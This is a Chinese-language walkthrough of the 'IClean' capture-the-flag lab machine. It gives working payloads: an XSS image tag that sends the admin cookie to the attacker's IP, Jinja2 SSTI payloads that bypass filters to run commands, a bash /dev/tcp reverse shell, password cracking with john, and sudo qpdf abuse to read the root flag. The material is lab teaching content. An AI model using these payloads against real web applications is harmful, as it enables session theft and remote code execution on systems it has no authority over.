XSS跨站脚本攻击、SSTI模板注入
IClean
信息搜集
nmap扫描一下
1 | nmap -sV -v 10.10.11.12 -Pn |
扫描结果
1 | PORT STATE SERVICE VERSION |
访问80端口,发现跳转到capiclean.htb,添加下/etc/hosts
扫描目录,可以发现/dashboard路由可以,应该是经过身份验证跳转到/
1 | [22:00:12] 200 - 2KB - /about |
我们在/choose路由下点击get a quote

勾选上去抓包,测试各个参数是否存在注入
在service参数成功测试出存在xss注入
(xss注入的payload均url编码过)
1 | <img src=http://10.10.14.54/> |

我们尝试读取下管理员cookie
1 | <img src=x onerror=fetch('http://10.10.14.54/'+document.cookie);> |

得到cookie后我们来验证一下,使用cookie成功访问/dashboard

我们按照Generate Invoice => Generate QR顺序
先生成Invoice ID generated: 1223131481,然后在第二步输入ID后点击Genrate会生成下面的QR Code Link
我们抓包看看,注意到qr_link的值出现在img标签中

经过测试该参数存在SSTI模板注入

回显49应该就是Jinja2,直接payload测试一下(__直接unicode编码一下)
1 | {{lipsum|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}} |

直接反弹shell(注意bash命令URL编码一下)
1 | {{lipsum|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("bash -c 'bash -i >& /dev/tcp/1010.14.54/1028 0>&1'")|attr("read")()}} |

先提升下shell权限
然后在/opt/app/app.py找到数据库信息
1 | # Database Configuration |
直接本地连接数据库mysql -u iclean -p -h localhost,找到consuela的密码

先识别一下是什么加密,然后john爆破记得加上format

拿到密码simple and clean后直接ssh连接就行
1 | ssh consuela@10.10.11.12 |
拿到user的flag

然后我们sudo -l查看下可用的命令

用strings命令查看发现内容存在--help参数,网上搜索发现qpdf是一个内容转换工具,有对应的使用文档
我们可以利用其参数读取root的flag(注意要在tmp目录下才能下载root.txt)
